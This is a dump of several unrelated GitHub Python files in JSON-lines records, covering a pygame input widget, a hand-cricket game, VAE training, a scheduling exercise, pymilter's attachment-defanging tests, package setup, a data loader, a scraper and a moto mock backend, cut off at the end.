pass\n\n def update(self):\n if self.render:\n if self.mode == 1:\n\n if self.direction == -1:\n self.time -= 1\n if self.time <= 0:\n self.direction = 1\n else:\n self.time += 1\n if self.time >= self.start_time:\n self.direction = -1\n\n mBT = pygame.mouse.get_pressed()\n mx, my = pygame.mouse.get_pos()\n\n self.draw()\n\n def draw(self):\n self.surface.blit(self.cdw if self.mode == 0 else self.cpw, self.rect)\n\n if self.text == '':\n no_text = self.font.render(self.no_text, 0, self.text_color if self.mode == 0 else self.pressed_text_color)\n no_text.set_alpha(128)\n\n self.surface.blit(no_text, (self.rect.x + 10 + self.text_offset, self.rect.y + no_text.get_height() // 2))\n\n else:\n text = self.font.render(str(self.text)[self.text_end:], 0, self.text_color if self.mode == 0 else self.pressed_text_color)\n\n self.surface.blit(text, (self.rect.x + 10 + self.text_offset, self.rect.centery - text.get_height() // 2))\n\n if self.mode == 1 and self.direction == -1 and text.get_width() + 20 < self.rect.width:\n pygame.draw.rect(self.surface, self.cursor_color, (self.rect.x + text.get_width() + 15 + self.text_offset, self.rect.centery - self.font_size // 2, self.font_size // 12, self.font_size))\n\ninputs = []\nINPUTS = []","repo_name":"AlmazCode/UniPy","sub_path":"UI/input.py","file_name":"input.py","file_ext":"py","file_size_in_byte":7794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41903400780","text":"import random\nimport time\nimport sys\n\nhc_numbers = [1, 2, 3, 4, 5, 6]\n# hc_numbers = [1,2,3,4,5,6,7,8,9,10,20] -> longer version \n\ndef batfirst():\n print('\\nYou\\'re Batting now!')\n score = 0\n while True:\n print()\n user_bat = int(input('U : '))\n if user_bat in hc_numbers:\n cpu_bowl = random.choice(hc_numbers)\n print(f'CPU : {cpu_bowl}')\n if user_bat == cpu_bowl:\n print(f'You\\'re OUT. You\\'ve Scored {score} runs.')\n break\n else:\n score += user_bat\n else:\n print(f'You can only bat {hc_numbers}')\n bowlsecond(score)\n\ndef bowlsecond(score):\n print('\\nYou\\'re Bowling now!')\n print(f'Target Score for CPU is {score}')\n cpu_score = 0\n while cpu_score < score:\n print()\n user_bowl = int(input('U : '))\n if user_bowl in hc_numbers:\n cpu_bat = random.choice(hc_numbers)\n print(f'CPU : {cpu_bat}')\n if user_bowl == cpu_bat:\n print(f'You WIN ! The CPU only scored {cpu_score} runs.\\n')\n tryagain = input('Do you want to try again? Y/N : ')\n if tryagain == 'Y' or tryagain == 'y':\n main()\n else:\n sys.exit('GGs!')\n else:\n cpu_score += cpu_bat\n else :\n print(f'You can only bowl {hc_numbers}')\n print (f'The CPU Scored {cpu_score} runs.')\n tryagain = input('You Lose. Do you want to try again? Y/N : ')\n if tryagain == 'Y' or tryagain == 'y':\n main()\n else:\n sys.exit('GGs!')\n\ndef bowlfirst():\n print('\\nYou\\'re Bowling now!')\n cpu_score = 0\n while True :\n print()\n user_bowl = int(input('U : '))\n if user_bowl in hc_numbers:\n cpu_bat = random.choice(hc_numbers)\n print(f'CPU : {cpu_bat}')\n if user_bowl == cpu_bat:\n print(f'The CPU is OUT ! The score to chase is {cpu_score}')\n break\n else:\n cpu_score += cpu_bat\n else :\n print(f'You can only bowl {hc_numbers}')\n batsecond(cpu_score)\n\ndef batsecond(cpu_score):\n print('\\nYou\\'re Batting now!')\n score = 0\n while score < cpu_score:\n print()\n user_bat = int(input('U : '))\n if user_bat in hc_numbers:\n cpu_bowl = random.choice(hc_numbers)\n print(f'CPU : {cpu_bowl}')\n if user_bat == cpu_bowl:\n print(f'You\\'re OUT. You\\'ve Scored {score} runs.')\n tryagain = input('You Lose. Do you want to try again? Y/N : ')\n if tryagain == 'Y' or tryagain == 'y':\n main()\n else:\n sys.exit('GGs!')\n else:\n score += user_bat\n else:\n print(f'You can only bat {hc_numbers}')\n tryagain = input('You Win !!! Do you want to try again? Y/N : ')\n if tryagain == 'Y' or tryagain == 'y':\n main()\n else:\n sys.exit('GGs!')\n\ndef main():\n print('\\nWelcome to Hridyesh\\'s Hand Cricket Game !!! ')\n choice = input('Heads or Tails ? : ')\n toss = ['h', 't']\n toss_result = random.choice(toss)\n print('Flipping Coin ...\\n')\n time.sleep(2)\n \n if choice[0] == toss_result:\n user_win = input('You won the toss ! Do you want to bowl or bat ? ')\n if user_win[1].lower() == 'a':\n batfirst()\n elif user_win[1].lower() == 'o':\n bowlfirst()\n else:\n print('Invalid choice. Please enter \"Bowl\" or \"Bat\".')\n main()\n else:\n cpu_win_choice = ['Bat', 'Bowl']\n cpu_win = random.choice(cpu_win_choice)\n print(f'You lost the toss. The CPU has decided to {cpu_win}.')\n if cpu_win[1]== 'a':\n bowlfirst()\n elif cpu_win[1] == 'o':\n batfirst()\n\nmain()\n","repo_name":"vndlize/python","sub_path":"pcc-eric-matthes/00/01 hand cricket.py","file_name":"01 hand cricket.py","file_ext":"py","file_size_in_byte":3934,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"24970456026","text":"import typing as tp\nimport argparse\n\nimport numpy as np\nfrom tqdm import tqdm\nfrom pathlib import Path\n\nimport torch\nfrom torch import nn\nfrom torch import optim\nfrom torchvision.utils import save_image\n\nfrom dataset import FacesDataset\nfrom torch.utils.data import DataLoader\n\nimport albumentations as A\nfrom albumentations.pytorch.transforms import ToTensorV2\n\nfrom vae import VAE\nfrom elbo import ELBO\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('-input', '--input-folder')\n parser.add_argument('-output', '--output-folder')\n parser.add_argument('-size', '--img-size', default=128, type=int)\n parser.add_argument('-z', '--z-size', default=100, type=int)\n parser.add_argument('-e', '--n_epochs', default=10, type=int)\n parser.add_argument('-lr', '--learning-rate', default=1e-4, type=float)\n parser.add_argument('-bs', '--batch-size', default=16, type=int)\n parser.add_argument('-d', '--device', default='cuda')\n\n return parser.parse_args()\n\n\ndef train_epoch(dl: DataLoader,\n model: nn.Module,\n optimizer: optim.Optimizer,\n criterion: nn.Module):\n model.train()\n running_loss = 0.0\n for i, xb in tqdm(enumerate(dl), total=len(dl)):\n xb = xb.to(args.device)\n xb_hat, mu, log_var = model(xb)\n loss = criterion(xb_hat, xb, mu, log_var)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n running_loss += loss.item()\n\n train_loss = running_loss / len(dl.dataset)\n return train_loss\n\n\ndef validate_epoch(n_epoch: int,\n dl: DataLoader,\n model: nn.Module,\n criterion: nn.Module,\n output_folder: Path):\n model.eval()\n running_loss = 0.0\n with torch.no_grad():\n for i, xb in tqdm(enumerate(dl), total=len(dl)):\n xb = xb.to(args.device)\n xb_hat, mu, log_var = model(xb)\n loss = criterion(xb_hat, xb, mu, log_var)\n running_loss += loss.item()\n\n if i == int(len(dl.dataset) / dl.batch_size) - 1:\n n_rows = 8\n both = torch.cat((xb[:n_rows],\n xb_hat[:n_rows]))\n save_image(both.cpu(), str(output_folder / f'imgs/{n_epoch}.png'), nrow=n_rows)\n val_loss = running_loss / len(dl.dataset)\n return val_loss\n\n\ndef load_data(image_size: int,\n input_folder: Path,\n batch_size: int) -> tp.Tuple[DataLoader, DataLoader]:\n transforms = A.Compose([\n A.Resize(image_size, image_size),\n # A.HorizontalFlip(p=0.5),\n # A.RandomBrightnessContrast(p=0.2),\n A.Normalize(mean=(0.485, 0.485, 0.485), std=(0.229, 0.229, 0.229)),\n ToTensorV2(p=1)\n ])\n\n ds = FacesDataset(folder=str(input_folder), transforms=transforms)\n\n n_train = int(len(ds) * 0.8)\n n_valid = len(ds) - n_train\n ds_train, ds_valid = torch.utils.data.random_split(ds, [n_train, n_valid])\n\n dl_train = DataLoader(ds_train, batch_size=batch_size, num_workers=2, shuffle=True)\n dl_valid = DataLoader(ds_valid, batch_size=batch_size, num_workers=2, shuffle=False)\n\n return dl_train, dl_valid\n\n\ndef save_model(n_epoch: int,\n model: nn.Module,\n optimizer: optim.Optimizer,\n output_folder: Path):\n torch.save({\n 'epoch': n_epoch,\n 'model_state_dict': model.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict()\n }, str(output_folder / f'models/{n_epoch}.pth'))\n\n\ndef run_training(args):\n dl_train, dl_valid = load_data(args.img_size, args.input_folder, args.batch_size)\n\n vae = VAE(img_size=args.img_size,\n n_channels=3,\n n_features=16,\n n_layers=np.log2(args.img_size // 4).astype(int),\n z_size=args.z_size).to(args.device)\n\n criterion = ELBO(nn.BCELoss(reduction='sum'))\n optimizer = optim.Adam(vae.parameters(), lr=args.learning_rate)\n\n train_loss = []\n val_loss = []\n for n_epoch in range(args.n_epochs):\n print(f'Epoch {n_epoch + 1} of {args.n_epochs}')\n train_epoch_loss = train_epoch(dl_train, vae, optimizer, criterion)\n val_epoch_loss = validate_epoch(n_epoch, dl_valid, vae, criterion, Path(args.output_folder))\n train_loss.append(train_epoch_loss)\n val_loss.append(val_epoch_loss)\n print(f'Train Loss:\\t\\t{train_epoch_loss:.4f}')\n print(f'Validation Loss:\\t{val_epoch_loss:.4f}')\n save_model(n_epoch, vae, optimizer, Path(args.output_folder))\n\n\nif __name__ == '__main__':\n args = parse_args()\n run_training(args)\n","repo_name":"cheremushkin/variational-autoencoders","sub_path":"vanilla/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37628522780","text":"n = int(input())\nmeeting = []\n\n# 회의실 시간표\nfor i in range(n):\n start, end = map(int, input().split())\n meeting.append((start, end))\n\n# 정렬\nmeeting.sort(key=lambda x: (x[1], x[0]))\nendtime = 0\ncnt = 0\n\n# 선택하기\nfor start, end in meeting:\n if start >= endtime:\n endtime = end\n cnt += 1\nprint(cnt)","repo_name":"JYPjoy/DataStructure_Algorithm","sub_path":"Python_Algorithm/이분탐색 & 그리디 알고리즘/회의실배정.py","file_name":"회의실배정.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18500188334","text":"from __future__ import print_function\nimport unittest\nimport mime\nimport zipfile\nimport socket\ntry:\n from StringIO import StringIO\nexcept:\n from io import StringIO\nimport email\nimport sys\nimport Milter\ntry:\n from email import Errors as errors\nexcept:\n from email import errors\n\nsamp1_txt1 = \"\"\"Dear Agent 1\nI hope you can read this. Whenever you write label it P.B.S kids.\n Eliza doesn't know a thing about P.B.S kids. got to go by\nagent one.\"\"\"\n\nhostname = socket.gethostname()\n\nclass MimeTestCase(unittest.TestCase):\n\n def setUp(self):\n self.zf = zipfile.ZipFile('test/virus.zip','r')\n self.zf.setpassword(b'denatured')\n\n def tearDown(self):\n self.zf.close()\n self.zf = None\n\n # test mime parameter parsing\n def testParam(self):\n plist = mime._parseparam('; boundary=\"----=_NextPart_000_4e56_490d_48e3\"')\n plist = [ x for x in plist if x ] # py2 doesn't include empty params\n self.assertEqual(1,len(plist))\n self.assertTrue(plist[0] == 'boundary=\"----=_NextPart_000_4e56_490d_48e3\"')\n plist = mime._parseparam('; name=\"Jim&amp;Girlz.jpg\"')\n plist = [ x for x in plist if x ] # py2 doesn't include empty params\n self.assertEqual(1,len(plist))\n self.assertTrue(plist[0] == 'name=\"Jim&amp;Girlz.jpg\"')\n\n def testParse(self,fname='samp1'):\n with open('test/'+fname,\"rb\") as fp:\n msg = mime.message_from_file(fp)\n self.assertTrue(msg.ismultipart())\n parts = msg.get_payload()\n self.assertTrue(len(parts) == 2)\n txt1 = parts[0].get_payload()\n self.assertTrue(txt1.rstrip() == samp1_txt1,txt1)\n with open('test/missingboundary',\"rb\") as fp:\n msg = mime.message_from_file(fp)\n # should get no exception as long as we don't try to parse\n # message attachments\n mime.defang(msg,scan_rfc822=False)\n with open('test/missingboundary.out','wb') as fp:\n msg.dump(fp)\n with open('test/missingboundary',\"rb\") as fp:\n msg = mime.message_from_file(fp)\n try:\n mime.defang(msg)\n # python 2.4 doesn't get exceptions on missing boundaries, and\n # if message is modified, output is readable by mail clients\n if sys.hexversion < 0x02040000:\n self.fail('should get boundary error parsing bad rfc822 attachment')\n except errors.BoundaryError:\n pass\n \n def testDefang(self,vname='virus1',part=1,\n\tfname='LOVE-LETTER-FOR-YOU.TXT.vbs'):\n try:\n with self.zf.open(vname,\"r\") as fp:\n msg = mime.message_from_file(fp)\n except KeyError:\n with open('test/'+vname,\"rb\") as fp:\n msg = mime.message_from_file(fp)\n mime.defang(msg,scan_zip=True)\n self.assertTrue(msg.ismodified(),\"virus not removed\")\n oname = vname + '.out'\n with open('test/'+oname,\"wb\") as fp:\n msg.dump(fp)\n with open('test/'+oname,\"rb\") as fp:\n msg = mime.message_from_file(fp)\n txt2 = msg.get_payload()\n if type(txt2) == list:\n txt2 = txt2[part].get_payload()\n self.assertTrue(\n txt2.rstrip()+'\\n' == mime.virus_msg % (fname,hostname,None),txt2)\n\n def testDefang3(self):\n self.testDefang('virus3',0,'READER_DIGEST_LETTER.TXT.pif')\n\n # virus4 does not include proper end boundary\n def testDefang4(self):\n self.testDefang('virus4',1,'readme.exe')\n\n # virus5 is even more screwed up\n def testDefang5(self):\n self.testDefang('virus5',1,'whatever.exe')\n\n # virus6 has no parts - the virus is directly inline\n def testDefang6(self,vname=\"virus6\",fname='FAX20.exe'):\n with self.zf.open(vname,\"r\") as fp:\n msg = mime.message_from_file(fp)\n mime.defang(msg)\n oname = vname + '.out'\n with open('test/'+oname,\"wb\") as fp:\n msg.dump(fp)\n with open('test/'+oname,\"rb\") as fp:\n msg = mime.message_from_file(fp)\n self.assertFalse(msg.ismultipart())\n txt2 = msg.get_payload()\n self.assertTrue(txt2 == mime.virus_msg % \\\n\t(fname,hostname,None),txt2)\n\n # honey virus has a sneaky ASP payload which is parsed correctly\n # by email package in python-2.2.2, but not by mime.MimeMessage or 2.2.1\n def testDefang7(self,vname=\"honey\",fname='story[1].scr'):\n with open('test/'+vname,\"rb\") as fp:\n msg = mime.message_from_file(fp)\n mime.defang(msg)\n oname = vname + '.out'\n with open('test/'+oname,\"wb\") as fp:\n msg.dump(fp)\n with open('test/'+oname,\"rb\") as fp:\n msg = mime.message_from_file(fp)\n parts = msg.get_payload()\n txt2 = parts[1].get_payload()\n txt3 = parts[2].get_payload()\n self.assertTrue(txt2.rstrip()+'\\n' == mime.virus_msg % \\\n\t(fname,hostname,None),txt2)\n if txt3 != '':\n self.assertTrue(txt3.rstrip()+'\\n' == mime.virus_msg % \\\n\t ('story[1].asp',hostname,None),txt3)\n\n def testParse2(self,fname=\"spam7\"):\n with open('test/'+fname,\"rb\") as fp:\n msg = mime.message_from_file(fp)\n self.assertTrue(msg.ismultipart())\n parts = msg.get_payload()\n self.assertTrue(len(parts) == 2)\n name = parts[1].getname()\n self.assertTrue(name == \"Jim&amp;Girlz.jpg\",\"name=%s\"%name)\n\n def testZip(self,vname=\"zip1\",fname='zip.zip'):\n self.testDefang(vname,1,'zip.zip')\n # test scan_zip flag\n with open('test/'+vname,\"rb\") as fp:\n msg = mime.message_from_file(fp)\n mime.defang(msg,scan_zip=False)\n self.assertFalse(msg.ismodified())\n # test ignoring empty zip (often found in DSNs)\n with open('test/zip2','rb') as fp:\n msg = mime.message_from_file(fp)\n mime.defang(msg,scan_zip=True)\n self.assertFalse(msg.ismodified())\n # test corrupt zip (often an EXE named as a ZIP)\n self.testDefang('zip3',1,'zip.zip')\n # test zip within zip\n self.testDefang('ziploop',1,'stuart@bmsi.com.zip')\n\n def _chk_name(self,name):\n self.filename = name\n\n def _chk_attach(self,msg):\n \"Filter attachments by content.\"\n # check for bad extensions\n mime.check_name(msg,ckname=self._chk_name,scan_zip=True)\n # remove scripts from HTML\n mime.check_html(msg)\n # don't let a tricky virus slip one past us\n msg = msg.get_submsg()\n if isinstance(msg,email.message.Message):\n return mime.check_attachments(msg,self._chk_attach)\n return Milter.CONTINUE\n\n def testCheckAttach(self,fname=\"test1\"):\n # test1 contains a very long filename\n with open('test/'+fname,'rb') as fp:\n msg = mime.message_from_file(fp)\n mime.defang(msg,scan_zip=True)\n self.assertFalse(msg.ismodified())\n with open('test/test2','rb') as fp:\n msg = mime.message_from_file(fp)\n rc = mime.check_attachments(msg,self._chk_attach)\n self.assertEqual(self.filename,\"7501'S FOR TWO GOLDEN SOURCES SHIPMENTS FOR TAX & DUTY PURPOSES ONLY.PDF\")\n self.assertEqual(rc,Milter.CONTINUE)\n\n def test_getnames(self):\n names = []\n self.sawpif = False\n def do_part(m):\n n = m.getnames()\n a = names\n a += n\n return Milter.CONTINUE\n def chk_part(m):\n for k,n in m.getnames():\n if n and n.lower().endswith('.pif'):\n self.sawpif = True\n s = m.get_submsg()\n print(m.get_content_type(),type(s),'modified:',m.ismodified())\n if isinstance(s,email.message.Message):\n return mime.check_attachments(s,chk_part)\n return Milter.CONTINUE\n\n with self.zf.open('virus7','r') as fp:\n msg = mime.message_from_file(fp)\n self.assertTrue(msg.ismultipart())\n mime.check_attachments(msg,do_part)\n self.assertTrue(('filename','application.pif') in names)\n self.assertFalse(self.sawpif)\n mime.check_attachments(msg,chk_part)\n self.assertTrue(self.sawpif)\n\n def testHTML(self,fname=\"\"):\n result = StringIO()\n filter = mime.HTMLScriptFilter(result)\n msg = \"\"\"\n Optional SGML \n \n \"\"\"\n script = \"\"\n filter.feed(msg + script)\n filter.close()\n #print(result.getvalue())\n #print('---')\n #print(msg + filter.msg)\n self.assertTrue(result.getvalue() == msg + filter.msg)\n\ndef suite(): return unittest.makeSuite(MimeTestCase,'test')\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n unittest.main()\n else:\n for fname in sys.argv[1:]:\n with open(fname,'rb') as fp:\n msg = mime.message_from_file(fp)\n mime.defang(msg,scan_zip=True)\n print(msg.as_string())\n","repo_name":"sdgathman/pymilter","sub_path":"testmime.py","file_name":"testmime.py","file_ext":"py","file_size_in_byte":8271,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"48"} +{"seq_id":"33292288449","text":"# Washington Loading Code\n\nfrom . import core\n\n\ndef load_agwa(organization=None):\n\tarea_name = \"WA\"\n\tdata_name = \"washington\"\n\n\tzoom = 7\n\tlon = -120.476\n\tlat = 47.419\n\n\tcore.load_dap_style_inputs(area_name=area_name,\n\t\t\t\t\t\t\t\tdata_name=data_name,\n\t\t\t\t\t\t\t\tregions=\"WRIA/new_WRIA_300m_alt_wbehavior.geojsonl.json\",\n\t\t\t\t\t\t\t\tcalibration_file=\"WA_DAP_format_calibrated.csv\",\n\t\t\t\t\t\t\t\tdata_file=\"WA_full_inputs_for_data_viewer_annual.csv\",\n\t\t\t\t\t\t\t\tcrop_file=\"crop_codes.csv\",\n\t\t\t\t\t\t\t\tyears=list(range(2008, 2019)),\n\t\t\t\t\t\t\t\tlatitude=lat,\n\t\t\t\t\t\t\t\tlongitude=lon,\n\t\t\t\t\t\t\t\tdefault_zoom=zoom,\n\t\t\t\t\t\t\t\tregion_field_map=(\n\t\t\t\t\t\t\t\t\t(\"WRIA_NM\", \"name\"),\n\t\t\t\t\t\t\t\t\t(\"WRIA_NR_New\", \"internal_id\"),\n\t\t\t\t\t\t\t\t\t(\"default_behavior\", \"default_behavior\"),\n\t\t\t\t\t\t\t\t),\n\t feature_package=\"WSDA\",\n\t rainfall_file=\"dryland_database3.csv\",\n\t multipliers_file=\"newwria_with_regions_and_multipliers.csv\",\n\t organization=organization,\n\t help_page_content_file=\"help_content.html\"\n\t )","repo_name":"Water-Systems-Management-UCM/Waterspout","sub_path":"waterspout_api/load/agwa.py","file_name":"agwa.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"73448858706","text":"import datetime\nimport config\n\nlogger = config.get_logger(__name__)\n\n\ndef extract_competitors(driver):\n \"\"\"\n extract number of competitors from competition page\n :param driver: chrome driver\n :return: number of competitors\n \"\"\"\n try:\n if driver.find_element_by_xpath(config.COMPETITORS_TEXT_XPATH).text != 'Competitors':\n return '0'\n\n competitors = int(driver.find_element_by_xpath(\n '//*[@id=\"site-content\"]/div[2]/div/div[2]/div[4]/div[1]/div[2]/p[1]').text)\n except:\n logger.debug(\"Can't find `number competitors` on the page\")\n competitors = '0'\n logger.debug('Collected `number competitors` from page')\n return competitors\n\n\ndef extract_teams(driver):\n \"\"\"\n extract number of teams from competition page\n :param driver: chrome driver\n :return: number of teams\n \"\"\"\n try:\n teams = int(driver.find_element_by_xpath(\n '//*[@id=\"site-content\"]/div[2]/div/div[2]/div[4]/div[1]/div[1]/p[1]').text)\n except:\n logger.debug(\"Can't collect `number of teams` from a page\")\n teams = '0'\n logger.debug('Collected `number of teams` from competition page')\n return teams\n\n\ndef extract_header(driver):\n \"\"\"\n extract header from competition page\n :param driver: chrome driver\n :return: number of teams\n \"\"\"\n try:\n # header new style path\n header_competition = driver.find_element_by_xpath(\n '//*[@id=\"site-content\"]/div[2]/div/div[1]/div/div/div[1]/div/div[2]/h1').text\n except:\n try:\n # header old style path\n header_competition = driver.find_element_by_xpath(\n '//*[@id=\"site-content\"]/div[2]/div/div[1]/div/div/div[1]/div[2]/div[2]/div/h1').text\n except:\n logger.debug(\"Can't collect `header` from competition page\")\n return None\n logger.debug(\"Collected `header` from competition page\")\n return header_competition.replace(\"\\\"\", \"\\\\\\\"\")\n\n\ndef get_number_of_entries(driver):\n \"\"\"\n extract number of entries from competition page\n :param driver: chrome driver\n :return: number of entries\n \"\"\"\n entries_xpath = '//*[@id=\"site-content\"]/div[2]/div/div[2]/div[4]/div[1]/div[3]/p[1]/span'\n try:\n if driver.find_element_by_xpath(config.COMPETITORS_TEXT_XPATH).text != 'Competitors':\n entries_xpath = '//*[@id=\"site-content\"]/div[2]/div/div[2]/div[4]/div[1]/div[2]/p[1]/span'\n\n num_of_entries = driver.find_element_by_xpath(entries_xpath).text\n\n except:\n logger.debug('Cannot get `number of entries` from competition page')\n return '0'\n\n logger.debug('Collected `number of entries` from competition page')\n return num_of_entries.replace(',', '')\n\n\ndef get_description_of_competition(driver):\n \"\"\"\n extract description from competition page\n :param driver: chrome driver\n :return: description\n \"\"\"\n try:\n description_text = driver.find_element_by_xpath(\n '//*[@id=\"competition-overview__nav-content-container\"]/div[2]/div/div').text\n except:\n logger.debug(\"Can't get `description` from competition page\")\n return None\n\n logger.debug('Collected `description` from competition page')\n return description_text.replace(\"\\\"\", \"\\\\\\\"\")\n\n\ndef to_sql_datetime(date_str):\n '''\n convert string into datetime format\n :param date_str:\n :return: datetime obj\n '''\n date_time_obj = datetime.datetime.strptime(date_str, \"%b %d, %Y\")\n logger.debug('Converted `date_str` into datetime obj')\n return date_time_obj.strftime(\"%Y-%m-%d\")\n\n\ndef get_start_of_competition(driver):\n '''\n get competition start\n :param driver: chrome driver\n :return: start date as datetime\n '''\n try:\n date_start = driver.find_element_by_xpath(\n '//*[@id=\"site-content\"]/div[2]/div/div[2]/div[3]/div/div/div/div/div/div[3]/div[2]/span')\n except:\n logger.debug(\"Can't get `date_start of the competition`. return '1900-01-01'\")\n return '1900-01-01'\n logger.debug('Got the `date_start` of the competition')\n return to_sql_datetime(date_start.get_attribute('data-tooltip'))\n\n\ndef get_end_of_competition(driver):\n '''\n get competition end\n :param driver: chrome driver\n :return: end date as datetime\n '''\n try:\n date_end = driver.find_element_by_xpath(\n '//*[@id=\"site-content\"]/div[2]/div/div[2]/div[3]/div/div/div/div/div/div[4]/div[2]/span')\n except:\n try:\n # try to get copmetition_end data for competitons whith deadline and competitions end with different dates\n date_end = driver.find_element_by_xpath(\n '//*[@id=\"site-content\"]/div[2]/div/div[2]/div[3]/div/div/div/div/div/div[5]/div[2]/span')\n except:\n logger.debug(\"Can't get `date_end of the competition`. return '1900-01-01'\")\n return '1900-01-01'\n logger.debug('Got the `date_end` of the competition')\n return to_sql_datetime(date_end.get_attribute('data-tooltip'))\n\n\ndef extract_number_topic(driver):\n \"\"\"\n extract number of topics from competition page\n :param driver: chrome driver\n :return: int\n \"\"\"\n try:\n number_topics = int(driver.find_element_by_xpath\\\n ('//*[@id=\"site-content\"]/div[2]/div/div[2]/div[1]/div[1]/div/div[1]/span').text)\n\n except:\n logger.debug(\"Can't collect `number_topics` from competition page\")\n return '0'\n logger.debug(\"Collected `number_topics` from competition page\")\n\n return number_topics\n\n\n\n","repo_name":"Galina-Blokh/scrapping_kaggle_itc","sub_path":"download_one.py","file_name":"download_one.py","file_ext":"py","file_size_in_byte":5585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"36161555573","text":"import os\nfrom setuptools import setup, find_packages\n\nwith open(os.path.join(os.path.dirname(__file__), \"qmpy\", \"VERSION.txt\")) as fr:\n version = fr.read().strip()\n\nsetup(\n name=\"qmpy\",\n version=version,\n author=\"The OQMD Development Team\",\n author_email=\"oqmd.questions@gmail.com\",\n license=\"LICENSE.txt\",\n classifiers=[\"Programming Language :: Python :: 3.7\"],\n packages=find_packages(),\n scripts=[\"bin/oqmd\", \"bin/qmpy\"],\n url=\"http://pypi.python.org/pypi/qmpy\",\n description=\"Suite of computational materials science tools\",\n include_package_data=True,\n long_description=open(\"README.md\").read(),\n install_requires=[\n \"Django < 2.3\",\n \"PuLP\",\n \"numpy\",\n \"scipy\",\n \"mysqlclient\",\n \"matplotlib\",\n \"networkx\",\n \"pytest\",\n \"python-memcached\",\n \"ase\",\n \"django-extensions > 2.2.5\",\n \"lxml\",\n \"spglib > 1.10\",\n \"PyCifRW >= 4.3\",\n \"pexpect\",\n \"pyparsing\",\n \"PyYAML\",\n \"scikit-learn\",\n \"bokeh\",\n \"djangorestframework > 3.10.0\",\n \"djangorestframework-xml\",\n \"djangorestframework-yaml\",\n \"djangorestframework-queryfields\",\n \"djangorestframework-filters\",\n \"django-crispy-forms\",\n \"lark-parser\",\n \"requests\",\n \"pygraphviz\",\n \"Jinja2 < 3.0\",\n ],\n)\n","repo_name":"wolverton-research-group/qmpy","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":118,"dataset":"github-code","pt":"48"} +{"seq_id":"32303877681","text":"from typing import Any, Dict, List\nfrom moto.core import BaseBackend, BackendDict, BaseModel\nfrom moto.core.utils import utcnow\nfrom .exceptions import ResourceNotFoundException, ResourceInUseException\nfrom moto.moto_api._internal import mock_random as random\n\n\nclass Stream(BaseModel):\n def __init__(\n self,\n account_id: str,\n region_name: str,\n device_name: str,\n stream_name: str,\n media_type: str,\n kms_key_id: str,\n data_retention_in_hours: int,\n tags: Dict[str, str],\n ):\n self.region_name = region_name\n self.stream_name = stream_name\n self.device_name = device_name\n self.media_type = media_type\n self.kms_key_id = kms_key_id\n self.data_retention_in_hours = data_retention_in_hours\n self.tags = tags\n self.status = \"ACTIVE\"\n self.version = random.get_random_string(include_digits=False, lower_case=True)\n self.creation_time = utcnow()\n stream_arn = f\"arn:aws:kinesisvideo:{region_name}:{account_id}:stream/{stream_name}/1598784211076\"\n self.data_endpoint_number = random.get_random_hex()\n self.arn = stream_arn\n\n def get_data_endpoint(self, api_name: str) -> str:\n data_endpoint_prefix = \"s-\" if api_name in (\"PUT_MEDIA\", \"GET_MEDIA\") else \"b-\"\n return f\"https://{data_endpoint_prefix}{self.data_endpoint_number}.kinesisvideo.{self.region_name}.amazonaws.com\"\n\n def to_dict(self) -> Dict[str, Any]:\n return {\n \"DeviceName\": self.device_name,\n \"StreamName\": self.stream_name,\n \"StreamARN\": self.arn,\n \"MediaType\": self.media_type,\n \"KmsKeyId\": self.kms_key_id,\n \"Version\": self.version,\n \"Status\": self.status,\n \"CreationTime\": self.creation_time.isoformat(),\n \"DataRetentionInHours\": self.data_retention_in_hours,\n }\n\n\nclass KinesisVideoBackend(BaseBackend):\n def __init__(self, region_name: str, account_id: str):\n super().__init__(region_name, account_id)\n self.streams: Dict[str, Stream] = {}\n\n def create_stream(\n self,\n device_name: str,\n stream_name: str,\n media_type: str,\n kms_key_id: str,\n data_retention_in_hours: int,\n tags: Dict[str, str],\n ) -> str:\n streams = [_ for _ in self.streams.values() if _.stream_name == stream_name]\n if len(streams) > 0:\n raise ResourceInUseException(f\"The stream {stream_name} already exists.\")\n stream = Stream(\n self.account_id,\n self.region_name,\n device_name,\n stream_name,\n media_type,\n kms_key_id,\n data_retention_in_hours,\n tags,\n )\n self.streams[stream.arn] = stream\n return stream.arn\n\n def _get_stream(self, stream_name: str, stream_arn: str) -> Stream:\n if stream_name:\n streams = [_ for _ in self.streams.values() if _.stream_name == stream_name]\n if len(streams) == 0:\n raise ResourceNotFoundException()\n stream = streams[0]\n elif stream_arn:\n stream = self.streams.get(stream_arn)\n if stream is None:\n raise ResourceNotFoundException()\n return stream\n\n def describe_stream(self, stream_name: str, stream_arn: str) -> Dict[str, Any]:\n stream = self._get_stream(stream_name, stream_arn)\n return stream.to_dict()\n\n def list_streams(self) -> List[Dict[str, Any]]:\n \"\"\"\n Pagination and the StreamNameCondition-parameter are not yet implemented\n \"\"\"\n return [_.to_dict() for _ in self.streams.values()]\n\n def delete_stream(self, stream_arn: str) -> None:\n \"\"\"\n The CurrentVersion-parameter is not yet implemented\n \"\"\"\n stream = self.streams.get(stream_arn)\n if stream is None:\n raise ResourceNotFoundException()\n del self.streams[stream_arn]\n\n def get_data_endpoint(\n self, stream_name: str, stream_arn: str, api_name: str\n ) -> str:\n stream = self._get_stream(stream_name, stream_arn)\n return stream.get_data_endpoint(api_name)\n\n\nkinesisvideo_backends = BackendDict(KinesisVideoBackend, 